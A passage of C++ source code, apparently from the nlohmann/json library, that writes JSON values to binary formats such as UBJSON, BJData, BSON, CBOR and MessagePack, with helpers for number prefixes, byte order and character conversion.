(use_type && !j.m_data.m_value.array->empty())\n                {\n                    JSON_ASSERT(use_count);\n                    const CharType first_prefix = ubjson_prefix(j.front(), use_bjdata);\n                    const bool same_prefix = std::all_of(j.begin() + 1, j.end(),\n                        [this, first_prefix, use_bjdata](const BasicJsonType& v)\n                        {\n                            return ubjson_prefix(v, use_bjdata) == first_prefix;\n                        });\n\n                    std::vector<CharType> bjdx = { '[', '{', 'S', 'H', 'T', 'F', 'N', 'Z' }; // excluded markers in bjdata optimized type\n\n                    if (same_prefix && !(use_bjdata && std::find(bjdx.begin(), bjdx.end(), first_prefix) != bjdx.end()))\n                    {\n                        prefix_required = false;\n                        oa->write_character(to_char_type('$'));\n                        oa->write_character(first_prefix);\n                    }\n                }\n\n                if (use_count)\n                {\n                    oa->write_character(to_char_type('#'));\n                    write_number_with_ubjson_prefix(j.m_data.m_value.array->size(), true, use_bjdata);\n                }\n\n                for (const auto& el : *j.m_data.m_value.array)\n                {\n                    write_ubjson(el, use_count, use_type, prefix_required, use_bjdata);\n                }\n\n                if (!use_count)\n                {\n                    oa->write_character(to_char_type(']'));\n                }\n\n                break;\n            }\n\n            case value_t::binary:\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('['));\n                }\n\n                if (use_type && !j.m_data.m_value.binary->empty())\n                {\n                    JSON_ASSERT(use_count);\n                    oa->write_character(to_char_type('$'));\n                    oa->write_character('U');\n                }\n\n                if (use_count)\n                {\n                    oa->write_character(to_char_type('#'));\n                    write_number_with_ubjson_prefix(j.m_data.m_value.binary->size(), true, use_bjdata);\n                }\n\n                if (use_type)\n                {\n                    oa->write_characters(\n                        reinterpret_cast<const CharType*>(j.m_data.m_value.binary->data()),\n                        j.m_data.m_value.binary->size());\n                }\n                else\n                {\n                    for (size_t i = 0; i < j.m_data.m_value.binary->size(); ++i)\n                    {\n                        oa->write_character(to_char_type('U'));\n                        oa->write_character(j.m_data.m_value.binary->data()[i]);\n                    }\n                }\n\n                if (!use_count)\n                {\n                    oa->write_character(to_char_type(']'));\n                }\n\n                break;\n            }\n\n            case value_t::object:\n            {\n                if (use_bjdata && j.m_data.m_value.object->size() == 3 && j.m_data.m_value.object->find(\"_ArrayType_\") != j.m_data.m_value.object->end() && j.m_data.m_value.object->find(\"_ArraySize_\") != j.m_data.m_value.object->end() && j.m_data.m_value.object->find(\"_ArrayData_\") != j.m_data.m_value.object->end())\n                {\n                    if (!write_bjdata_ndarray(*j.m_data.m_value.object, use_count, use_type))  // decode bjdata ndarray in the JData format (https://github.com/NeuroJSON/jdata)\n                    {\n                        break;\n                    }\n                }\n\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('{'));\n                }\n\n                bool prefix_required = true;\n                if (use_type && !j.m_data.m_value.object->empty())\n                {\n                    JSON_ASSERT(use_count);\n                    const CharType first_prefix = ubjson_prefix(j.front(), use_bjdata);\n                    const bool same_prefix = std::all_of(j.begin(), j.end(),\n                        [this, first_prefix, use_bjdata](const BasicJsonType& v)\n                        {\n                            return ubjson_prefix(v, use_bjdata) == first_prefix;\n                        });\n\n                    std::vector<CharType> bjdx = { '[', '{', 'S', 'H', 'T', 'F', 'N', 'Z' }; // excluded markers in bjdata optimized type\n\n                    if (same_prefix && !(use_bjdata && std::find(bjdx.begin(), bjdx.end(), first_prefix) != bjdx.end()))\n                    {\n                        prefix_required = false;\n                        oa->write_character(to_char_type('$'));\n                        oa->write_character(first_prefix);\n                    }\n                }\n\n                if (use_count)\n                {\n                    oa->write_character(to_char_type('#'));\n                    write_number_with_ubjson_prefix(j.m_data.m_value.object->size(), true, use_bjdata);\n                }\n\n                for (const auto& el : *j.m_data.m_value.object)\n                {\n                    write_number_with_ubjson_prefix(el.first.size(), true, use_bjdata);\n                    oa->write_characters(\n                        reinterpret_cast<const CharType*>(el.first.c_str()),\n                        el.first.size());\n                    write_ubjson(el.second, use_count, use_type, prefix_required, use_bjdata);\n                }\n\n                if (!use_count)\n                {\n                    oa->write_character(to_char_type('}'));\n                }\n\n                break;\n            }\n\n            case value_t::discarded:\n            default:\n                break;\n            }\n        }\n\n    private:\n        //////////\n        // BSON //\n        //////////\n\n        /*!\n        @return The size of a BSON document entry header, including the id marker\n                and the entry name size (and its null-terminator).\n        */\n        static std::size_t calc_bson_entry_header_size(const string_t& name, const BasicJsonType& j)\n        {\n            const auto it = name.find(static_cast<typename string_t::value_type>(0));\n            if (JSON_HEDLEY_UNLIKELY(it != BasicJsonType::string_t::npos))\n            {\n                JSON_THROW(out_of_range::create(409, concat(\"BSON key cannot contain code point U+0000 (at byte \", std::to_string(it), \")\"), &j));\n                static_cast<void>(j);\n            }\n\n            return /*id*/ 1ul + name.size() + /*zero-terminator*/1u;\n        }\n\n        /*!\n        @brief Writes the given @a element_type and @a name to the output adapter\n        */\n        void write_bson_entry_header(const string_t& name,\n            const std::uint8_t element_type)\n        {\n            oa->write_character(to_char_type(element_type)); // boolean\n            oa->write_characters(\n                reinterpret_cast<const CharType*>(name.c_str()),\n                name.size() + 1u);\n        }\n\n        /*!\n        @brief Writes a BSON element with key @a name and boolean value @a value\n        */\n        void write_bson_boolean(const string_t& name,\n            const bool value)\n        {\n            write_bson_entry_header(name, 0x08);\n            oa->write_character(value ? to_char_type(0x01) : to_char_type(0x00));\n        }\n\n        /*!\n        @brief Writes a BSON element with key @a name and double value @a value\n        */\n        void write_bson_double(const string_t& name,\n            const double value)\n        {\n            write_bson_entry_header(name, 0x01);\n            write_number<double>(value, true);\n        }\n\n        /*!\n        @return The size of the BSON-encoded string in @a value\n        */\n        static std::size_t calc_bson_string_size(const string_t& value)\n        {\n            return sizeof(std::int32_t) + value.size() + 1ul;\n        }\n\n        /*!\n        @brief Writes a BSON element with key @a name and string value @a value\n        */\n        void write_bson_string(const string_t& name,\n            const string_t& value)\n        {\n            write_bson_entry_header(name, 0x02);\n\n            write_number<std::int32_t>(static_cast<std::int32_t>(value.size() + 1ul), true);\n            oa->write_characters(\n                reinterpret_cast<const CharType*>(value.c_str()),\n                value.size() + 1);\n        }\n\n        /*!\n        @brief Writes a BSON element with key @a name and null value\n        */\n        void write_bson_null(const string_t& name)\n        {\n            write_bson_entry_header(name, 0x0A);\n        }\n\n        /*!\n        @return The size of the BSON-encoded integer @a value\n        */\n        static std::size_t calc_bson_integer_size(const std::int64_t value)\n        {\n            return (std::numeric_limits<std::int32_t>::min)() <= value && value <= (std::numeric_limits<std::int32_t>::max)()\n                ? sizeof(std::int32_t)\n                : sizeof(std::int64_t);\n        }\n\n        /*!\n        @brief Writes a BSON element with key @a name and integer @a value\n        */\n        void write_bson_integer(const string_t& name,\n            const std::int64_t value)\n        {\n            if ((std::numeric_limits<std::int32_t>::min)() <= value && value <= (std::numeric_limits<std::int32_t>::max)())\n            {\n                write_bson_entry_header(name, 0x10); // int32\n                write_number<std::int32_t>(static_cast<std::int32_t>(value), true);\n            }\n            else\n            {\n                write_bson_entry_header(name, 0x12); // int64\n                write_number<std::int64_t>(static_cast<std::int64_t>(value), true);\n            }\n        }\n\n        /*!\n        @return The size of the BSON-encoded unsigned integer in @a j\n        */\n        static constexpr std::size_t calc_bson_unsigned_size(const std::uint64_t value) noexcept\n        {\n            return (value <= static_cast<std::uint64_t>((std::numeric_limits<std::int32_t>::max)()))\n                ? sizeof(std::int32_t)\n                : sizeof(std::int64_t);\n        }\n\n        /*!\n        @brief Writes a BSON element with key @a name and unsigned @a value\n        */\n        void write_bson_unsigned(const string_t& name,\n            const BasicJsonType& j)\n        {\n            if (j.m_data.m_value.number_unsigned <= static_cast<std::uint64_t>((std::numeric_limits<std::int32_t>::max)()))\n            {\n                write_bson_entry_header(name, 0x10 /* int32 */);\n                write_number<std::int32_t>(static_cast<std::int32_t>(j.m_data.m_value.number_unsigned), true);\n            }\n            else if (j.m_data.m_value.number_unsigned <= static_cast<std::uint64_t>((std::numeric_limits<std::int64_t>::max)()))\n            {\n                write_bson_entry_header(name, 0x12 /* int64 */);\n                write_number<std::int64_t>(static_cast<std::int64_t>(j.m_data.m_value.number_unsigned), true);\n            }\n            else\n            {\n                JSON_THROW(out_of_range::create(407, concat(\"integer number \", std::to_string(j.m_data.m_value.number_unsigned), \" cannot be represented by BSON as it does not fit int64\"), &j));\n            }\n        }\n\n        /*!\n        @brief Writes a BSON element with key @a name and object @a value\n        */\n        void write_bson_object_entry(const string_t& name,\n            const typename BasicJsonType::object_t& value)\n        {\n            write_bson_entry_header(name, 0x03); // object\n            write_bson_object(value);\n        }\n\n        /*!\n        @return The size of the BSON-encoded array @a value\n        */\n        static std::size_t calc_bson_array_size(const typename BasicJsonType::array_t& value)\n        {\n            std::size_t array_index = 0ul;\n\n            const std::size_t embedded_document_size = std::accumulate(std::begin(value), std::end(value), static_cast<std::size_t>(0), [&array_index](std::size_t result, const typename BasicJsonType::array_t::value_type& el)\n                {\n                    return result + calc_bson_element_size(std::to_string(array_index++), el);\n                });\n\n            return sizeof(std::int32_t) + embedded_document_size + 1ul;\n        }\n\n        /*!\n        @return The size of the BSON-encoded binary array @a value\n        */\n        static std::size_t calc_bson_binary_size(const typename BasicJsonType::binary_t& value)\n        {\n            return sizeof(std::int32_t) + value.size() + 1ul;\n        }\n\n        /*!\n        @brief Writes a BSON element with key @a name and array @a value\n        */\n        void write_bson_array(const string_t& name,\n            const typename BasicJsonType::array_t& value)\n        {\n            write_bson_entry_header(name, 0x04); // array\n            write_number<std::int32_t>(static_cast<std::int32_t>(calc_bson_array_size(value)), true);\n\n            std::size_t array_index = 0ul;\n\n            for (const auto& el : value)\n            {\n                write_bson_element(std::to_string(array_index++), el);\n            }\n\n            oa->write_character(to_char_type(0x00));\n        }\n\n        /*!\n        @brief Writes a BSON element with key @a name and binary value @a value\n        */\n        void write_bson_binary(const string_t& name,\n            const binary_t& value)\n        {\n            write_bson_entry_header(name, 0x05);\n\n            write_number<std::int32_t>(static_cast<std::int32_t>(value.size()), true);\n            write_number(value.has_subtype() ? static_cast<std::uint8_t>(value.subtype()) : static_cast<std::uint8_t>(0x00));\n\n            oa->write_characters(reinterpret_cast<const CharType*>(value.data()), value.size());\n        }\n\n        /*!\n        @brief Calculates the size necessary to serialize the JSON value @a j with its @a name\n        @return The calculated size for the BSON document entry for @a j with the given @a name.\n        */\n        static std::size_t calc_bson_element_size(const string_t& name,\n            const BasicJsonType& j)\n        {\n            const auto header_size = calc_bson_entry_header_size(name, j);\n            switch (j.type())\n            {\n            case value_t::object:\n                return header_size + calc_bson_object_size(*j.m_data.m_value.object);\n\n            case value_t::array:\n                return header_size + calc_bson_array_size(*j.m_data.m_value.array);\n\n            case value_t::binary:\n                return header_size + calc_bson_binary_size(*j.m_data.m_value.binary);\n\n            case value_t::boolean:\n                return header_size + 1ul;\n\n            case value_t::number_float:\n                return header_size + 8ul;\n\n            case value_t::number_integer:\n                return header_size + calc_bson_integer_size(j.m_data.m_value.number_integer);\n\n            case value_t::number_unsigned:\n                return header_size + calc_bson_unsigned_size(j.m_data.m_value.number_unsigned);\n\n            case value_t::string:\n                return header_size + calc_bson_string_size(*j.m_data.m_value.string);\n\n            case value_t::null:\n                return header_size + 0ul;\n\n                // LCOV_EXCL_START\n            case value_t::discarded:\n            default:\n                JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert)\n                return 0ul;\n                // LCOV_EXCL_STOP\n            }\n        }\n\n        /*!\n        @brief Serializes the JSON value @a j to BSON and associates it with the\n               key @a name.\n        @param name The name to associate with the JSON entity @a j within the\n                    current BSON document\n        */\n        void write_bson_element(const string_t& name,\n            const BasicJsonType& j)\n        {\n            switch (j.type())\n            {\n            case value_t::object:\n                return write_bson_object_entry(name, *j.m_data.m_value.object);\n\n            case value_t::array:\n                return write_bson_array(name, *j.m_data.m_value.array);\n\n            case value_t::binary:\n                return write_bson_binary(name, *j.m_data.m_value.binary);\n\n            case value_t::boolean:\n                return write_bson_boolean(name, j.m_data.m_value.boolean);\n\n            case value_t::number_float:\n                return write_bson_double(name, j.m_data.m_value.number_float);\n\n            case value_t::number_integer:\n                return write_bson_integer(name, j.m_data.m_value.number_integer);\n\n            case value_t::number_unsigned:\n                return write_bson_unsigned(name, j);\n\n            case value_t::string:\n                return write_bson_string(name, *j.m_data.m_value.string);\n\n            case value_t::null:\n                return write_bson_null(name);\n\n                // LCOV_EXCL_START\n            case value_t::discarded:\n            default:\n                JSON_ASSERT(false); // NOLINT(cert-dcl03-c,hicpp-static-assert,misc-static-assert)\n                return;\n                // LCOV_EXCL_STOP\n            }\n        }\n\n        /*!\n        @brief Calculates the size of the BSON serialization of the given\n               JSON-object @a j.\n        @param[in] value  JSON value to serialize\n        @pre       value.type() == value_t::object\n        */\n        static std::size_t calc_bson_object_size(const typename BasicJsonType::object_t& value)\n        {\n            const std::size_t document_size = std::accumulate(value.begin(), value.end(), static_cast<std::size_t>(0),\n                [](size_t result, const typename BasicJsonType::object_t::value_type& el)\n                {\n                    return result += calc_bson_element_size(el.first, el.second);\n                });\n\n            return sizeof(std::int32_t) + document_size + 1ul;\n        }\n\n        /*!\n        @param[in] value  JSON value to serialize\n        @pre       value.type() == value_t::object\n        */\n        void write_bson_object(const typename BasicJsonType::object_t& value)\n        {\n            write_number<std::int32_t>(static_cast<std::int32_t>(calc_bson_object_size(value)), true);\n\n            for (const auto& el : value)\n            {\n                write_bson_element(el.first, el.second);\n            }\n\n            oa->write_character(to_char_type(0x00));\n        }\n\n        //////////\n        // CBOR //\n        //////////\n\n        static constexpr CharType get_cbor_float_prefix(float /*unused*/)\n        {\n            return to_char_type(0xFA);  // Single-Precision Float\n        }\n\n        static constexpr CharType get_cbor_float_prefix(double /*unused*/)\n        {\n            return to_char_type(0xFB);  // Double-Precision Float\n        }\n\n        /////////////\n        // MsgPack //\n        /////////////\n\n        static constexpr CharType get_msgpack_float_prefix(float /*unused*/)\n        {\n            return to_char_type(0xCA);  // float 32\n        }\n\n        static constexpr CharType get_msgpack_float_prefix(double /*unused*/)\n        {\n            return to_char_type(0xCB);  // float 64\n        }\n\n        ////////////\n        // UBJSON //\n        ////////////\n\n        // UBJSON: write number (floating point)\n        template<typename NumberType, typename std::enable_if<\n            std::is_floating_point<NumberType>::value, int>::type = 0>\n        void write_number_with_ubjson_prefix(const NumberType n,\n            const bool add_prefix,\n            const bool use_bjdata)\n        {\n            if (add_prefix)\n            {\n                oa->write_character(get_ubjson_float_prefix(n));\n            }\n            write_number(n, use_bjdata);\n        }\n\n        // UBJSON: write number (unsigned integer)\n        template<typename NumberType, typename std::enable_if<\n            std::is_unsigned<NumberType>::value, int>::type = 0>\n        void write_number_with_ubjson_prefix(const NumberType n,\n            const bool add_prefix,\n            const bool use_bjdata)\n        {\n            if (n <= static_cast<std::uint64_t>((std::numeric_limits<std::int8_t>::max)()))\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('i'));  // int8\n                }\n                write_number(static_cast<std::uint8_t>(n), use_bjdata);\n            }\n            else if (n <= (std::numeric_limits<std::uint8_t>::max)())\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('U'));  // uint8\n                }\n                write_number(static_cast<std::uint8_t>(n), use_bjdata);\n            }\n            else if (n <= static_cast<std::uint64_t>((std::numeric_limits<std::int16_t>::max)()))\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('I'));  // int16\n                }\n                write_number(static_cast<std::int16_t>(n), use_bjdata);\n            }\n            else if (use_bjdata && n <= static_cast<uint64_t>((std::numeric_limits<uint16_t>::max)()))\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('u'));  // uint16 - bjdata only\n                }\n                write_number(static_cast<std::uint16_t>(n), use_bjdata);\n            }\n            else if (n <= static_cast<std::uint64_t>((std::numeric_limits<std::int32_t>::max)()))\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('l'));  // int32\n                }\n                write_number(static_cast<std::int32_t>(n), use_bjdata);\n            }\n            else if (use_bjdata && n <= static_cast<uint64_t>((std::numeric_limits<uint32_t>::max)()))\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('m'));  // uint32 - bjdata only\n                }\n                write_number(static_cast<std::uint32_t>(n), use_bjdata);\n            }\n            else if (n <= static_cast<std::uint64_t>((std::numeric_limits<std::int64_t>::max)()))\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('L'));  // int64\n                }\n                write_number(static_cast<std::int64_t>(n), use_bjdata);\n            }\n            else if (use_bjdata && n <= (std::numeric_limits<uint64_t>::max)())\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('M'));  // uint64 - bjdata only\n                }\n                write_number(static_cast<std::uint64_t>(n), use_bjdata);\n            }\n            else\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('H'));  // high-precision number\n                }\n\n                const auto number = BasicJsonType(n).dump();\n                write_number_with_ubjson_prefix(number.size(), true, use_bjdata);\n                for (std::size_t i = 0; i < number.size(); ++i)\n                {\n                    oa->write_character(to_char_type(static_cast<std::uint8_t>(number[i])));\n                }\n            }\n        }\n\n        // UBJSON: write number (signed integer)\n        template < typename NumberType, typename std::enable_if <\n            std::is_signed<NumberType>::value &&\n            !std::is_floating_point<NumberType>::value, int >::type = 0 >\n        void write_number_with_ubjson_prefix(const NumberType n,\n            const bool add_prefix,\n            const bool use_bjdata)\n        {\n            if ((std::numeric_limits<std::int8_t>::min)() <= n && n <= (std::numeric_limits<std::int8_t>::max)())\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('i'));  // int8\n                }\n                write_number(static_cast<std::int8_t>(n), use_bjdata);\n            }\n            else if (static_cast<std::int64_t>((std::numeric_limits<std::uint8_t>::min)()) <= n && n <= static_cast<std::int64_t>((std::numeric_limits<std::uint8_t>::max)()))\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('U'));  // uint8\n                }\n                write_number(static_cast<std::uint8_t>(n), use_bjdata);\n            }\n            else if ((std::numeric_limits<std::int16_t>::min)() <= n && n <= (std::numeric_limits<std::int16_t>::max)())\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('I'));  // int16\n                }\n                write_number(static_cast<std::int16_t>(n), use_bjdata);\n            }\n            else if (use_bjdata && (static_cast<std::int64_t>((std::numeric_limits<std::uint16_t>::min)()) <= n && n <= static_cast<std::int64_t>((std::numeric_limits<std::uint16_t>::max)())))\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('u'));  // uint16 - bjdata only\n                }\n                write_number(static_cast<uint16_t>(n), use_bjdata);\n            }\n            else if ((std::numeric_limits<std::int32_t>::min)() <= n && n <= (std::numeric_limits<std::int32_t>::max)())\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('l'));  // int32\n                }\n                write_number(static_cast<std::int32_t>(n), use_bjdata);\n            }\n            else if (use_bjdata && (static_cast<std::int64_t>((std::numeric_limits<std::uint32_t>::min)()) <= n && n <= static_cast<std::int64_t>((std::numeric_limits<std::uint32_t>::max)())))\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('m'));  // uint32 - bjdata only\n                }\n                write_number(static_cast<uint32_t>(n), use_bjdata);\n            }\n            else if ((std::numeric_limits<std::int64_t>::min)() <= n && n <= (std::numeric_limits<std::int64_t>::max)())\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('L'));  // int64\n                }\n                write_number(static_cast<std::int64_t>(n), use_bjdata);\n            }\n            // LCOV_EXCL_START\n            else\n            {\n                if (add_prefix)\n                {\n                    oa->write_character(to_char_type('H'));  // high-precision number\n                }\n\n                const auto number = BasicJsonType(n).dump();\n                write_number_with_ubjson_prefix(number.size(), true, use_bjdata);\n                for (std::size_t i = 0; i < number.size(); ++i)\n                {\n                    oa->write_character(to_char_type(static_cast<std::uint8_t>(number[i])));\n                }\n            }\n            // LCOV_EXCL_STOP\n        }\n\n        /*!\n        @brief determine the type prefix of container values\n        */\n        CharType ubjson_prefix(const BasicJsonType& j, const bool use_bjdata) const noexcept\n        {\n            switch (j.type())\n            {\n            case value_t::null:\n                return 'Z';\n\n            case value_t::boolean:\n                return j.m_data.m_value.boolean ? 'T' : 'F';\n\n            case value_t::number_integer:\n            {\n                if ((std::numeric_limits<std::int8_t>::min)() <= j.m_data.m_value.number_integer && j.m_data.m_value.number_integer <= (std::numeric_limits<std::int8_t>::max)())\n                {\n                    return 'i';\n                }\n                if ((std::numeric_limits<std::uint8_t>::min)() <= j.m_data.m_value.number_integer && j.m_data.m_value.number_integer <= (std::numeric_limits<std::uint8_t>::max)())\n                {\n                    return 'U';\n                }\n                if ((std::numeric_limits<std::int16_t>::min)() <= j.m_data.m_value.number_integer && j.m_data.m_value.number_integer <= (std::numeric_limits<std::int16_t>::max)())\n                {\n                    return 'I';\n                }\n                if (use_bjdata && ((std::numeric_limits<std::uint16_t>::min)() <= j.m_data.m_value.number_integer && j.m_data.m_value.number_integer <= (std::numeric_limits<std::uint16_t>::max)()))\n                {\n                    return 'u';\n                }\n                if ((std::numeric_limits<std::int32_t>::min)() <= j.m_data.m_value.number_integer && j.m_data.m_value.number_integer <= (std::numeric_limits<std::int32_t>::max)())\n                {\n                    return 'l';\n                }\n                if (use_bjdata && ((std::numeric_limits<std::uint32_t>::min)() <= j.m_data.m_value.number_integer && j.m_data.m_value.number_integer <= (std::numeric_limits<std::uint32_t>::max)()))\n                {\n                    return 'm';\n                }\n                if ((std::numeric_limits<std::int64_t>::min)() <= j.m_data.m_value.number_integer && j.m_data.m_value.number_integer <= (std::numeric_limits<std::int64_t>::max)())\n                {\n                    return 'L';\n                }\n                // anything else is treated as high-precision number\n                return 'H'; // LCOV_EXCL_LINE\n            }\n\n            case value_t::number_unsigned:\n            {\n                if (j.m_data.m_value.number_unsigned <= static_cast<std::uint64_t>((std::numeric_limits<std::int8_t>::max)()))\n                {\n                    return 'i';\n                }\n                if (j.m_data.m_value.number_unsigned <= static_cast<std::uint64_t>((std::numeric_limits<std::uint8_t>::max)()))\n                {\n                    return 'U';\n                }\n                if (j.m_data.m_value.number_unsigned <= static_cast<std::uint64_t>((std::numeric_limits<std::int16_t>::max)()))\n                {\n                    return 'I';\n                }\n                if (use_bjdata && j.m_data.m_value.number_unsigned <= static_cast<std::uint64_t>((std::numeric_limits<std::uint16_t>::max)()))\n                {\n                    return 'u';\n                }\n                if (j.m_data.m_value.number_unsigned <= static_cast<std::uint64_t>((std::numeric_limits<std::int32_t>::max)()))\n                {\n                    return 'l';\n                }\n                if (use_bjdata && j.m_data.m_value.number_unsigned <= static_cast<std::uint64_t>((std::numeric_limits<std::uint32_t>::max)()))\n                {\n                    return 'm';\n                }\n                if (j.m_data.m_value.number_unsigned <= static_cast<std::uint64_t>((std::numeric_limits<std::int64_t>::max)()))\n                {\n                    return 'L';\n                }\n                if (use_bjdata && j.m_data.m_value.number_unsigned <= (std::numeric_limits<std::uint64_t>::max)())\n                {\n                    return 'M';\n                }\n                // anything else is treated as high-precision number\n                return 'H'; // LCOV_EXCL_LINE\n            }\n\n            case value_t::number_float:\n                return get_ubjson_float_prefix(j.m_data.m_value.number_float);\n\n            case value_t::string:\n                return 'S';\n\n            case value_t::array: // fallthrough\n            case value_t::binary:\n                return '[';\n\n            case value_t::object:\n                return '{';\n\n            case value_t::discarded:\n            default:  // discarded values\n                return 'N';\n            }\n        }\n\n        static constexpr CharType get_ubjson_float_prefix(float /*unused*/)\n        {\n            return 'd';  // float 32\n        }\n\n        static constexpr CharType get_ubjson_float_prefix(double /*unused*/)\n        {\n            return 'D';  // float 64\n        }\n\n        /*!\n        @return false if the object is successfully converted to a bjdata ndarray, true if the type or size is invalid\n        */\n        bool write_bjdata_ndarray(const typename BasicJsonType::object_t& value, const bool use_count, const bool use_type)\n        {\n            std::map<string_t, CharType> bjdtype = { {\"uint8\", 'U'},  {\"int8\", 'i'},  {\"uint16\", 'u'}, {\"int16\", 'I'},\n                {\"uint32\", 'm'}, {\"int32\", 'l'}, {\"uint64\", 'M'}, {\"int64\", 'L'}, {\"single\", 'd'}, {\"double\", 'D'}, {\"char\", 'C'}\n            };\n\n            string_t key = \"_ArrayType_\";\n            auto it = bjdtype.find(static_cast<string_t>(value.at(key)));\n            if (it == bjdtype.end())\n            {\n                return true;\n            }\n            CharType dtype = it->second;\n\n            key = \"_ArraySize_\";\n            std::size_t len = (value.at(key).empty() ? 0 : 1);\n            for (const auto& el : value.at(key))\n            {\n                len *= static_cast<std::size_t>(el.m_data.m_value.number_unsigned);\n            }\n\n            key = \"_ArrayData_\";\n            if (value.at(key).size() != len)\n            {\n                return true;\n            }\n\n            oa->write_character('[');\n            oa->write_character('$');\n            oa->write_character(dtype);\n            oa->write_character('#');\n\n            key = \"_ArraySize_\";\n            write_ubjson(value.at(key), use_count, use_type, true, true);\n\n            key = \"_ArrayData_\";\n            if (dtype == 'U' || dtype == 'C')\n            {\n                for (const auto& el : value.at(key))\n                {\n                    write_number(static_cast<std::uint8_t>(el.m_data.m_value.number_unsigned), true);\n                }\n            }\n            else if (dtype == 'i')\n            {\n                for (const auto& el : value.at(key))\n                {\n                    write_number(static_cast<std::int8_t>(el.m_data.m_value.number_integer), true);\n                }\n            }\n            else if (dtype == 'u')\n            {\n                for (const auto& el : value.at(key))\n                {\n                    write_number(static_cast<std::uint16_t>(el.m_data.m_value.number_unsigned), true);\n                }\n            }\n            else if (dtype == 'I')\n            {\n                for (const auto& el : value.at(key))\n                {\n                    write_number(static_cast<std::int16_t>(el.m_data.m_value.number_integer), true);\n                }\n            }\n            else if (dtype == 'm')\n            {\n                for (const auto& el : value.at(key))\n                {\n                    write_number(static_cast<std::uint32_t>(el.m_data.m_value.number_unsigned), true);\n                }\n            }\n            else if (dtype == 'l')\n            {\n                for (const auto& el : value.at(key))\n                {\n                    write_number(static_cast<std::int32_t>(el.m_data.m_value.number_integer), true);\n                }\n            }\n            else if (dtype == 'M')\n            {\n                for (const auto& el : value.at(key))\n                {\n                    write_number(static_cast<std::uint64_t>(el.m_data.m_value.number_unsigned), true);\n                }\n            }\n            else if (dtype == 'L')\n            {\n                for (const auto& el : value.at(key))\n                {\n                    write_number(static_cast<std::int64_t>(el.m_data.m_value.number_integer), true);\n                }\n            }\n            else if (dtype == 'd')\n            {\n                for (const auto& el : value.at(key))\n                {\n                    write_number(static_cast<float>(el.m_data.m_value.number_float), true);\n                }\n            }\n            else if (dtype == 'D')\n            {\n                for (const auto& el : value.at(key))\n                {\n                    write_number(static_cast<double>(el.m_data.m_value.number_float), true);\n                }\n            }\n            return false;\n        }\n\n        ///////////////////////\n        // Utility functions //\n        ///////////////////////\n\n        /*\n        @brief write a number to output input\n        @param[in] n number of type @a NumberType\n        @param[in] OutputIsLittleEndian Set to true if output data is\n                                     required to be little endian\n        @tparam NumberType the type of the number\n\n        @note This function needs to respect the system's endianness, because bytes\n              in CBOR, MessagePack, and UBJSON are stored in network order (big\n              endian) and therefore need reordering on little endian systems.\n              On the other hand, BSON and BJData use little endian and should reorder\n              on big endian systems.\n        */\n        template<typename NumberType>\n        void write_number(const NumberType n, const bool OutputIsLittleEndian = false)\n        {\n            // step 1: write number to array of length NumberType\n            std::array<CharType, sizeof(NumberType)> vec{};\n            std::memcpy(vec.data(), &n, sizeof(NumberType));\n\n            // step 2: write array to output (with possible reordering)\n            if (is_little_endian != OutputIsLittleEndian)\n            {\n                // reverse byte order prior to conversion if necessary\n                std::reverse(vec.begin(), vec.end());\n            }\n\n            oa->write_characters(vec.data(), sizeof(NumberType));\n        }\n\n        void write_compact_float(const number_float_t n, detail::input_format_t format)\n        {\n#ifdef __GNUC__\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wfloat-equal\"\n#endif\n            if (static_cast<double>(n) >= static_cast<double>(std::numeric_limits<float>::lowest()) &&\n                static_cast<double>(n) <= static_cast<double>((std::numeric_limits<float>::max)()) &&\n                static_cast<double>(static_cast<float>(n)) == static_cast<double>(n))\n            {\n                oa->write_character(format == detail::input_format_t::cbor\n                    ? get_cbor_float_prefix(static_cast<float>(n))\n                    : get_msgpack_float_prefix(static_cast<float>(n)));\n                write_number(static_cast<float>(n));\n            }\n            else\n            {\n                oa->write_character(format == detail::input_format_t::cbor\n                    ? get_cbor_float_prefix(n)\n                    : get_msgpack_float_prefix(n));\n                write_number(n);\n            }\n#ifdef __GNUC__\n#pragma GCC diagnostic pop\n#endif\n        }\n\n    public:\n        // The following to_char_type functions are implement the conversion\n        // between uint8_t and CharType. In case CharType is not unsigned,\n        // such a conversion is required to allow values greater than 128.\n        // See <https://github.com/nlohmann/json/issues/1286> for a discussion.\n        template < typename C = CharType,\n            enable_if_t < std::is_signed<C>::value&& std::is_signed<char>::value >* = nullptr >\n        static constexpr CharType to_char_type(std::uint8_t x) noexcept\n        {\n            return *reinterpret_cast<char*>(&x);\n        }\n\n        template < typename C = CharType,\n            enable_if_t < std::is_signed<C>::value&& std::is_unsigned<char>::value >* = nullptr >\n        static CharType to_char_type(std::uint8_t x) noexcept\n        {\n            static_assert(sizeof(std::uint8_t) == sizeof(CharType), \"size of CharType must be equal to std::uint8_t\");\n            static_assert(std::is_trivial<CharType>::value, \"CharType must be trivial\");\n            CharType result;\n            std::memcpy(&result, &x, sizeof(x));\n            return result;\n        }\n\n        template<typename C = CharType,\n            enable_if_t<std::is_unsigned<C>::value>* = nullptr>\n        static constexpr CharType to_char_type(std::uint8_t x) noexcept\n        {\n            return x;\n        }\n\n        template < typename InputCharType, typename C = CharType,\n            enable_if_t <\n            std::is_signed<C>::value&&\n            std::is_signed<char>::value&&\n            std::is_same<char, typename std::remove_cv<InputCharType>::type>::value\n        >* = nullptr >\n        static constexpr CharType to_char_type(InputCharType x) noexcept\n        